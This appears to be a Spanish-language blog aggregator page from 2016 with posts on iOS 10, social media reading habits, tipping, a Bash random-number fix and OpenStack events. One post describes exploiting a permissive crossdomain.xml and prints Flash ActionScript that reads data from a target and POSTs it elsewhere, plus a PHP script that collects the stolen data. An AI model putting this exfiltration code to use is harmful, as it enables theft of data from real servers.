Pero ¿fue suficiente? Hay cosas que Apple sigue sin darles prioridad y que al parecer de muchos son indispensables, la más clara es la interfaz principal de los iconos de las Apps, ¿en serio no se dan cuenta que el tamaño de los iconos es el mismo tanto en un iPhone de 4 pulgadas, como en un iPhone de 5.5 pulgadas y un iPad Pro de 10 pulgadas? No es posible que al usar un iPad se siga teniendo la impresión de tener un iPhone grandote, donde la mayoría de las Apps son solo versiones alargadas de sus versiones de iPhone. Tampoco suena lógico que no exista un manejo de sesiones en iOS, ¿cuantas veces no has tenido que prestar tu dispositivo a una persona pero no quieres que tengan acceso a tus fotos, correo, o aplicaciones? ¿No sería genial si existiera una opción de “Invitado” para prestarle el dispositivo a alguien con solo las aplicaciones básicas y sin acceso a tu información personal? La Mac lo tiene, ¿por qué iOS no?

El centro de control (el menú que aparece cuando deslizas hacía arriba la parte inferior de la pantalla) cambió de look pero sigue faltando que puedas personalizar los botones que presenta ¿qué tal que yo no quiero tener ahí la calculadora de iOS sino otra App de terceros?

También se echa en falta una opción de auto organizar las Apps instaladas, muchos de nosotros tenemos más de 100 Apps instaladas, un verdadero problema de organización para encontrar la que buscas (sin usar el buscador, claro), cada App está clasificada en una categoría específica en la AppStore ¿y si usaran esa categoría para automáticamente crear una carpeta donde meter las aplicaciones?

Picture in Picture en iPhone 6/S Plus, tenemos una pantalla generosamente más amplia en dispositivos “Plus” y sin embargo gozamos de exactamente la misma experiencia que si tuviéramos la versión normal, “Picture in picture” es la funcionalidad de ver un vídeo en un recuadro de la pantalla mientras seguimos ocupando nuestro dispositivo de manera normal, esta función existe en el iPad, ¿por qué no en el iPhone con una pantalla más grande?

De la misma forma en el iPhone 6/S Plus no contamos con la posibilidad de usar dos aplicaciones al mismo tiempo en pantalla dividida, la versión Plus tiene la pantalla lo suficiente grande para (al menos en horizontal) poder ver dos aplicaciones al mismo tiempo, característica que hasta ahora solo los usuarios de iPad Pro pueden disfrutar.

Apple Pay en México (y otros países), esto como tal no es un tema de iOS sino del propio Apple al no vernos como un mercado importante para la implementación de este sistema de pagos, pero no es posible que después de 2 años de contar con dispositivos compatibles con Apple Pay sea prácticamente una característica que seguimos sin poder utilizar.

Al final Apple me deja con un sabor agridulce en esta presentación, sí hay cosas interesantes, y detalles que seguirán surgiendo a lo largo de que las versiones Beta se vayan liberando, pero esta era la versión 10 de su sistema operativo, un número significativo e importante, tuvo que verse un rediseño más a fondo de su interfaz gráfica y de las opciones que hace años esperamos muchos usuarios, las últimas actualizaciones (iOS 8, iOS 9 y ahora iOS 10) son de esas que no verás mucha diferencia hasta que los desarrolladores aprovechen las nuevas características del sistema, pero visualmente sigue siendo un poco más de lo mismo…

¿Y a ti qué te pareció iOS 10? ¿Sientes que le faltó algo o fue lo que esperabas? Cuéntanos en los comentarios.

Jueves 09 de junio de 2016

Gustavo Rubio

Gustavo Rubio
Ahí vamos

La época dórada del “vistazo” (o de como leer está sobrevalorado)

Ya desde hace años me había prometido no meterme en lo que no me importa, por salud mental y tranquilidad. Esto obviamente incluía una muy entretenida (para mi) pero molesta actividad que era corregir a otros o dar mi punto de vista donde no necesariamente era requerido, o solicitado. Una de esas actividades era hacer correcciones de información en redes sociales, por ejemplo, de información falsa, hoaxes, notas amarillistas, etc. Supongo que en algún punto maduré y entendí que, bueno, no puede uno solo cambiar al mundo entero y preferí no meterme en lo ajeno, si alguien quiere mantenerse desinformado pero sobretodo, fomentar la desinformación, bueno, ese sería un problema propiamente individual y no mio. Sin embargo, al parecer, mi racha de estar “limpio” de este vicio que era corregir y comentar llegó a su fin la semana pasada, aunque la causa fue muy diferente a situaciones anteriores y los (inesperados por cierto) resultados bastante interesantes.

Como dije anteriormente, ya me había hecho a la idea de que corregir a los demás por redes sociales o incluso en las mismas conversaciones personales era una actividad desgastante emocionalmente para mi pero sobre todo inútil porque, bueno, al final del día, las personas son libres de hacer lo que se les de la gana hacer y bueno, eso está bien, de hecho creo que es lo justo ¿No?, es decir, cada quien puede, y debería hacer, decir y pensar lo que crea apropiado. Entonces, si partimos de esa premisa, mi labor de “Information NAZI” pues era inútil y vergonzosa. Un ejemplo simple de una situación así era alguna noticia falsa compartida por algún familiar o amigo en facebook, aparentes muertes de personas en twitter sin haber confirmado la fuente, etc.

Hasta hacía unas semanas me había mantenido al margen porque, bueno, finalmente entendí que las redes sociales no son medios fiables de información pero primordialmente que, dada la exposición de las mismas a cada vez más personas, la información se ha vuelto poco fiable y el contenido basura. Precisamente tenía hace unos días una micro-discusión sobre eso con @isopixel y @el_morris:


Que twitter ya no se siente igual, que si facebook se ha vuelto una pérdida de tiempo, que snapchat no es para mi. Bueno, para ser honesto aun sigo usando muchas redes sociales, de otros temas e intereses, así que sería hipócrita de mi parte decir que son una perdida de tiempo, simplemente he refinado mi uso de las mismas o simplemente invierto tiempo en lo que creo es útil y entretenido para mi… enter the LinkedIn world!.

LinkedIn para mi es una red social importante. Se trata de trabajo, profesionistas conectados y finalmente oportunidades de mejorar nuestra carrera, supondría que entonces la mayoría de las personas en dicha red social la tomen mas o menos con la misma seriedad. Sin embargo, recientemente, y en repetidas ocasiones, he visto como publicaciones que son ajenas a la naturaleza de esta red son compartidas por algunos de mis contactos: frases célebres que no existen, imágenes falsas motivacionales y quizes o “acertijos” que supongo dan la impresión a quienes los comparten que de alguna manera solucionarlos denota un mayor grado de inteligencia y capacidad laboral. Si bien me había prometido no volver a involucrarme en desmentir, corregir o participar en ese tipo de publicaciones en redes sociales, el hecho de verlas en una red como LinkedIn me arrastró de nuevo. Lo que ven a continuación es una imágen tomada de una de estas publicaciones que re-publiqué y comenté:

Screenshot from 2016-06-08 21-17-56

La imagen la acompañé del siguiente texto que traduzco al español:

Estimados contactos:

A pesar de que yo también disfruto resolver acertijos, me parece que este tipo de contenido no pertenece a esta red social la cual se supone es una red de profesionistas y de trabajo. Resolver este tipo de acertijos en publicaciones no mejora tu curriculum y finalmente solo muestra que, de hecho, tienes mucho tiempo libre.

Y si bien mi objetivo inicialmente era crear conciencia en mis contactos para, de alguna manera explicarles que, compartir este tipo de contenido en esta red social los hace ver poco profesionales, me “salió el tiro por la culata“.

¿Cual fue la sorpresa? Bueno, si hubo reacciones, pero exactamente lo opuesto a lo que esperaba; personas comentando la publicación… respondiendo el acertijo!:


Screenshot from 2016-06-08 21-23-34

Pero, contrario a molestarme (porque sería muy inmaduro dejar que este tipo de cosas nos molesten ¿Cierto?) por el trolleo involuntario esto me dejó pensando varios días por qué alguien habría respondido la publicación precisamente con la respuesta al acertijo porque, honestamente, los hace ver como tontos. Luego recordé que nadie lee las instrucciones, fui atando cabos y llegué a las siguientes conclusiones…

A las personas no nos gusta leer

Y no necesariamente hablo de leer libros que ya es mucho, hablo de leer simples instrucciones, textos de apoyo, descripciones o hasta las etiquetas de cuidado de los productos. Muchas personas culpan al Internet y a la tecnología de esto pero la verdad es que desde antes que hubiera Internet ya eramos holgazanes para leer instrucciones. El mexicano, particularmente, tiene esa fama. Por ejemplo, cuando compramos algún electrodoméstico o aparato electrónico simplemente lo conectamos sin antes haber leído las instrucciones. Definitivamente la propagación de tecnología ha fomentado esto, más no es la causa, es decir, si tenemos imágenes disponibles acompañadas de un texto ¿Para que leer? Nuestra mente, por naturaleza, tratará siempre de identificar situaciones o contextos por medio de imágenes que representan algo, sea una silueta, forma, isotipo, etc. Es esa misma razón por la cual los anuncios de tráfico son representaciones gráficas de objetos de la vida real; a la mente le cuesta procesar algo que no es nativo a los sentidos como el texto, el cual tiene que desmenuzar y traducir a algo que entiendan nuestros sentidos, una imagen es mas digerible al parecer.

Estamos sobresaturados de información

¿Cómo culpar a alguien de esto? En realidad me siento identificado. Volvemos al tema de las redes sociales. He dejado de utilizarlas en buena medida porque me parece que me “saturan” de información inútil, la mayoría de las veces. Me encanta leer, es solo que ahora debo escoger que leer, y continuar leyendo publicaciones de poco aporte en redes sociales o blogs de mala calidad (esos que hacen click-bait) simplemente consume energía útil de mi cabeza para otro tipo de contenido que si lo vale. Por ejemplo, con tantas aplicaciones en nuestros teléfonos, tantos sitios web que visitar, redes sociales, mensajería instantánea, etc. la mente se vuelve “holgazana”  de manera que si antes consumíamos 3 o 4 artículos por día, nos “texteabamos” un poco y revisábamos nuestro correo, ahora simplemente perdemos la cuenta de toda la cantidad de información que hay que masticarse diariamente. La mayoría de las personas que he observado por ejemplo, están en facebook, pinterest o twitter dando “scroll” como zombies, pensando que eventualmente encontrarán algo útil o siquiera divertido pero para cuando eso pudiera pasar ya estamos cansados y en un ciclo vicioso de “ojear“. Algo similar a lo que pasaba antes de que tuvieramos smartphones e Internet; llegaba uno a una cita a algún lugar, había 300 revistas de n cantidad de temas en la sala de estar y uno las ojeaba casi por inercia, esperando la siguiente actividad, sin interés realmente de absorber lo que había en esas páginas de TV notas o Cosmopolitan.

La mente funciona mejor con alertas obvias

Estoy seguro que si hubiera puesto otra imagen que no existiera ya, de alguna manera, en el subconsciente de las personas que vieron mi publicación, algo llamativo, como un signo de alerta con un texto o simplemente algo diferente a la imagen del acertijo, las personas que lo contestaron hubieran reaccionado de manera diferente, es decir, al visualizar una imagen que probablemente ya habían visto, la lógica o el sentido común les dictó que la reacción obvia era contestar, no leer el texto que acompañaba a la imagen. Lo que sí definitivamente me parece extraño es que, a pesar de que nuestras mentes funcionan y reaccionan mas o menos diferente, a un nivel básico, sin importar el grado de inteligencia, no se use el juicio personal para analizar cada cosa que uno publique por ejemplo el LinkedIn, dada su naturaleza de profesionistas y el grado de reputación que hasta cierto punto debe mantenerse a nivel personal, aun cuando es Internet, sin embargo, ese juicio parece estar superado por el instinto básico natural que nos da el sentido de la vista, en este caso, el de nuestro acertijo.

Viernes 03 de junio de 2016

Octavio Alvarez

Octavio Alvarez
Planeta Linux –

Feed al podcast Dr. IPv6

LAC-TF es la Fuerza de Trabajo de IPv6 en la región de Latinoamérica y el Caribe

LAC-TF es la Fuerza de Trabajo de IPv6 en la región de Latinoamérica y el Caribe

Dr. IPv6 es un podcast en español preparado por LAC-TF y dirigido por Alejandro Acosta en el que se busca a especialistas para contestar preguntas que tenga la comunidad sobre IPv6. Puedes enviar tus preguntas a

Debido a que el podcast aún no tiene un feed RSS, sólo los audios, decidí hacer un feed para poder agregar este útil e intersante podcast a mi Rhythmbox y AntennaPod.

Aquí lo comparto con ustedes. Se actualiza cada hora según lo que se publique en la página oficial de Dr. IPv6, extrayendo los metadatos y convirtiéndola en formato RSS. Siéntete en la libertad de usarlo para agregar Dr. IPv6 al “podcatcher” de tu preferencia.

La dirección de los feeds:

Dr. IPv6 en formato Ogg:

Dr. IPv6 en formato MP3:

Domingo 29 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Exploiting a crossdomain.xml to extract sensitive information from the server

Some days ago I reviewed and application residing on a server which included a file crossdomain.xml, allowing the access from other domains without restrictions.

To exploit it is necessary create a malicious SWF to extract the information. To do that first you need to create the SWF, like this:

 // Author: Gursev Singh Kalra (
// Thanks -
package {
	import flash.display.Sprite;

	public class XDomainXploit extends Sprite {
		public function XDomainXploit() {
			// Target URL from where the data is to be retrieved
			var readFrom:String = “”;
			var readRequest:URLRequest = new URLRequest(readFrom);
			var getLoader:URLLoader = new URLLoader();
			getLoader.addEventListener(Event.COMPLETE, eventHandler);
			try {
			} catch (error:Error) {
				trace(“Error loading URL: ” + error);

		private function eventHandler(event:Event):void {
			// URL to which retrieved data is to be sent
			var sendTo:String = “”
			var sendRequest:URLRequest = new URLRequest(sendTo);
			sendRequest.method = URLRequestMethod.POST; =;
			var sendLoader:URLLoader = new URLLoader();
			try {
			} catch (error:Error) {
				trace(“Error loading URL: ” + error);

Edit the URL's with your URL's. Then compile it using the FLEX binary and create a PHP file to wait for the information extracted; like this:

$data = file_get_contents(“php://input”);
$ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
 die('Error writing to file');
else { 
 echo “$ret bytes written to file”;

And upload it to a server to get the information extracted from the vulnerable server.

-_-U the problem is, where is the path? rights?… well… the exploit works!

Lunes 23 de mayo de 2016

Gustavo Rubio

Gustavo Rubio
Ahí vamos

De propinas e inocencia perdida

Ayer por la mañana recibíamos visita familiar a la casa a desayunar así que me apresuré a ir a la tienda (o supermercado como le dicen mis amigos chilangos) a comprar algunas de las cosas que nos hacían falta. No cargaba efectivo, solo un billete de 100 pesos y mis tarjetas. Al terminar la cajera de pasar los productos saco mi tarjeta para pagar, recojo mis 2 bolsas de mandado y le digo a la señora que me lo empacó que “Se lo debía para la otra” pues pagué con la tarjeta y no traía feria o cambio, la señora me lanza una mirada seca y me dice “No importa joven, está bien“…

Por supuesto que no le iba a dar 100 pesos de propina y la verdad tenía prisa como para ir a feriar el billete.

Hace muchos años que no veo niños o adolescentes empacando mandado. Será por una cuestión de leyes de protección al menor supongo. La mayoría de los establecimientos usualmente son atendidos por personas de la tercera edad.

Me considero una persona generosa, sobre todo cuando se me brinda un buen servicio, sin embargo he aprendido también, conforme he crecido, a no recompensar a quien no se lo merece. Cuando estaba en los inicios de mis 20’s solía darle propina a cualquier persona que me brindaba servicio, al que me “regalaba” una estampita de judas en el camión, al que me decía que lo “habían echado del otro lado“, todo sin cuestionar, como de alguna manera tratando de entender y subsanar la desgracia ajena. Después entendí que, como dice el dicho, “Ni están todos los que son, ni son todos los que están” y que hay que tener criterio para saber cuando y donde ayudar.

Parte de ese proceso ha sido evitar cargar con una cruda moral cuando incluso a alguien que considero debe ser recompensado no lo es. Llegué tan lejos como cargar siempre monedas tanto conmigo como en el carro destinadas única y exclusivamente a esta actividad porque, bueno, cualquiera que viva en México en una ciudad mas o menos grande sabrá que prácticamente hay que “darle dinero” a todo mundo; al guardia del restaurante, al que empaca el mandado, al que limpia el vidrio, etc. La cuestión es que, independientemente de que una persona se merezca ser recompensada no siempre estamos preparados para ello y eso no nos hace menos humanos, es simplemente una cuestión de prácticidad, tiempo y conveniencia.

Cuando los empacadores en los mercados eran menores de edad solían siempre decir al final del trabajo de empaque de cada cliente “Que le vaya bien”, “Que tenga buena tarde” o algunos incluso “Gracias” sin siquiera haber recibido propina alguna. Se usaban unas pequeñas cajitas con una leyenda que decía “Su propina es mi sueldo. Gracias!” como diciendo de una manera muy modesta pero acertada que si uno no aventaba unas monedas a la caja el empacador se iba a ir a casa con las manos vacías. Cuando el cliente terminaba de juntar sus bolsas simplemente aventaba unas monedas a la caja y se retiraba. El empacador, como estrategia, guardaba las monedas cada cierto tiempo, como haciendo un “corte de caja” y dejaba unas pocas cuando esta ya tenía suficiente a manera de motivar a los siguientes clientes a seguir dejando propina al verla medio vacía. Al final del día se juntaba el total, se canjeaba por billetes y el día terminaba, mezcla de quienes si eran generosos y quienes no tanto. Algunos, como yo el día de ayer, simplemente daban las gracias y se iban.

Hoy en día que los empacadores son personas adultas, aun cuando son “viejitos” y se les considera tiernos por alguna equivocada percepción social la situación suele ser muy diferente: algunos empacan las cosas de manera desordenada o sin cuidado, no saludan al cliente o en el peor de los casos simplemente son indiferentes, como renegando de su situación, transmitiendo ese sentimiento al cliente. La “cajita” ya no existe y ahora usualmente se les deposita algunas monedas en la mano, acción que sirve para demostrar, en la mayoría de los casos, cual será la reacción de la persona dependiendo la cantidad de dinero con la que se recompense. Una vez recibido el dinero, por instinto, y olvidando que es de mal gusto, voltearán a ver la cantidad y replicarán con un eufórico “Gracias” si se ha depositado 10 pesos por un par de bolsas o con indiferencia si por el contrario solo nos sobraron 2 pesitos y se empacó un carrito lleno.

La diferencia entre actitud  de servicio, nobleza y motivación entre un niño y una persona adulta es abismal. Me recuerda la canción “Pequeño” de Enrique Bunbury:

Cuando era pequeño me enseñaron
a perder la inocencia gota a gota
que idiotas

Cuando fui creciendo aprendí
a llevar como escudo la mentira
que tontería

De pequeño me enseñaron
a querer ser mayor
de mayor voy a aprender a ser pequeño

Cada que voy al mercado recuerdo que debemos aprender a ser pequeños, en actitud, de vez en cuando. También recuerdo que alguna vez fui empacador, mi primer trabajo, y que aunque había personas  no tan generosas, siempre manteníamos una actitud de servicio y respeto, despidiendo a todos de igual manera, con un “Que le vaya bien” y esperando tener mejor suerte con el siguiente.

Domingo 22 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Application security @ Mérida

My friend Zodman invited my to talk about application security, some real examples and how to implement a security program for development companies. Very interesting talk.

Look at the Zodman's projects, he's doing a lot of cool stuff around Python and open source. I hope I'll be back at Mérida again :)

Note: I erased the demo screenshots because they were real examples.

platica_appsec.pdf by BelindoFan

Sábado 21 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Application security @ Yucatán

platica_appsec.pdf by BelindoFan

Viernes 20 de mayo de 2016

Emerson Posadas

Emerson Posadas
toxickore BLOG

Profundo ejercicio de aprendizaje

No escribo nada aquí últimanente, pero se lo he mencionado a varios de mis amigos en esta semana:
Si un día quieren aprender de infraestructura, pero nada de teoría y libritos, monten una openvpn lan to lan para que cada subred pueda tener conectividad entre ambas.

Esta guía a pesar de ser breve, es muy efectivo para este ejercicio de aprendizaje:

Gracias @redimido, que me estuvo echando mucho la mano con este setup. Sin sus tips and tricks no hubiera finalizado esto tan rápido.

Martes 17 de mayo de 2016

Octavio Alvarez

Octavio Alvarez
Planeta Linux –

Actualización sobre cointoss en Bash para evitar azar cargado

Hace unas 3 semanas publiqué una nota personal para implementar “cosstoin” en Bash:

cointoss() {
    # Probability is $1/$2, for example, cointoss 3 5
    # will hit 60% of the time. Defaults to 1/2 if no
    # arguments are supplied.
    [ $((RANDOM % ${2-2})) -lt ${1-1} ];


Sin embargo, como bien me lo indica dualbus, este volado está cargado cuando la cantidad de caras en la moneda, el denominador (indicado por $2), no es múltiplo de 2. Y me hace llegar la implementación para azar balanceado que greybot recomienda en #bash en Freenode:

rand() {
    local max=$((32768 / $1 * $1)) r
    while (( (r=$RANDOM) >= max ))
    echo $(( r % $1 ))
} ## Returns unbiased random number from 0 to ($1-1) inclusive, $1 <= 32768

La razón es sencilla: cuando se invoca la variable RANDOM en Bash, regresa un valor entero entre 0 y 32,767. Estos 32,768 posibles valores no se pueden dividir exactamente en N grupos cuando N no es múltiplo de 2; siempre quedan algunos grupos con más valores posibles. La “carga” cambia según el denominador.

La única manera de evitar este efecto es que si RANDOM cae en valores sobrantes, se repita la invocación a la variable RANDOM. De esta manera se garantiza el balanceo de la distribución probabilística, aunque no sea posible garantizar que el resultado se logre siempre en menos de K intentos.

Ejemplo cuando el denominador es 3

Si queremos dividir los 32,768 valores en 3 grupos:

  • X mod 3 == 0 lo cumplen 10,923 valores: 0, 3, 6… 32,763 y 32,766.
  • X mod 3 == 1 lo cumplen 10,923 valores: 1, 4, 7… 32,764 y 32,767.
  • X mod 3 == 2 lo cumplen sólo 10,922 valores: 2, 5, 8… y 32,765.

El 32,768 ya no forma parte del conjunto de resultados de RANDOM. Esto significa que hay una desventaja para X mod 3:

  • X mod 3 == 0: 33.3343506%
  • X mod 3 == 1: 33.3343506%
  • X mod 3 == 2: 33.3312988%

La diferencia es de 0.0030518% entre extremos, un incremento de 0.009156%.

Si ejecutamos 1,000,000 de veces cointoss 1 3, espero un hit 33.3…% de las veces (más/menos el error causado por el azar). El resultado medido 5 veces cae entre 33.27% y 33.38%. El valor esperado cae dentro de lo medido.

Ejemplo cuando el denominador es 24,576 (forzando el bug)

¿Qué pasa si llamamos cointoss 16384 24576?

  • X mod 24576 == 0 lo cumplen 2 valores: 0 y 24,576.
  • X mod 24576 == 1 lo cumplen 2 valores: 1 y 24,577.
  • X mod 24576 == 2 lo cumplen 2 valores: 2 y 24,578.
  • X mod 24576 == 8190 lo cumplen 2 valores: 8190, 32766.
  • X mod 24576 == 8191 lo cumplen 2 valores: 8191, 32767.
  • X mod 24576 == 8192 lo cumple 1 valor: 8192.
  • X mod 24576 == 8193 lo cumple 1 valor: 8193.
  • X mod 24576 == 24573 lo cumple 1 valor: 24573.
  • X mod 24576 == 24574 lo cumple 1 valor: 24574.
  • X mod 24576 == 24575 lo cumple 1 valor: 24575.

Entonces, para los grupos de 2 valores, la probabilidad de salir es de 0.0061035%, mientras que para los grupos de 1 valor, la probabilidad de salir es de 0.0030518, una diferencia de 0.0030518%, ¡pero un incremento de 200%!

Si ejecutamos 1,000,000 de veces cointoss 16384 24576, espero un hit 66.6…% de las veces (más/menos el error causado por el azar). El resultado medido 5 veces cae entre 74.95% y 75.07%. ¡El valor esperado no cae dentro de lo medido!

De nuevo, gracias a dualbus por el apunte.

Domingo 01 de mayo de 2016

Promoviendo Software Libre: Instalación de Wordpress en GNU/Linux

Lunes 25 de abril de 2016

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

(Sin Título)


Siempre han existido dudas respecto OpenStack y containers. Lo importante aquí es dejar en claro que ya se encuentra en etapa de desarrollo una herramienta que ofrece este tipo de servicios para el desarrollo de aplicaciones en una nube de OpenStack. Magnum ofrece motores de orquestación para hacer deployment y manejo de contenedores en OpenStack. Y ofrecerlos de este modo a los usuarios de la nube. Se hablaría de sus componentes y pasos básicos de configuración, y si se puede, un ejemplo práctico, si no, pantallazos practicos.

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Deploying my first OpenStack app


Esta vez Marcela Bonell @mbonell miembro de la comunidad de UX de OpenStack nos dara un tutorial para crear nuestra primera app usando una nube OpenStack.

My First App es un tutorial disponible en el portal de developers de OpenStack que sirve como guía para desarrolladores que quieren crear aplicaciones que corran sobre OpenStack.

En esta sesión los asistentes conocerán los diferentes SDK’s disponibles para desarrollar apps, interactuarán con OpenStack a través de Shade (Python SDK ) y harán el deploy de "My First App” en TryStack


Miércoles 20 de abril de 2016

Alex Callejas

Alex Callejas

FLISol 2016

El Festival Latinoamericano de Instalación de Software Libre (FLISoL), es el mayor evento de difusión del Software Libre que se realiza desde el año 2005 en diferentes países de manera simultánea. Es una oportunidad para todas aquellas personas interesadas en conocer más acerca del software libre. Participando es posible entrar en contacto con el mundo del software libre, conocer a otros usuarios, resolver dudas e interrogantes, intercambiar opiniones y experiencias; asistir a charlas y otras actividades programadas. Como es de suponer, la asistencia al evento es totalmente libre y gratuita.

Personalmente, es un evento al que me gusta asistir y ayudar a toda la gente que quiere acercarse al Software Libre.

Para esta edición, inicialmente, estaré dando una plática-taller de Seguridad y Hardening en la FES Acatlán, el próximo viernes 22 de Abril, a las 9 AM. Les comparto la página oficial de la sede, para que chequen todas las actividades que se están realizando esta semana.

Espero me puedan acompañar 🙂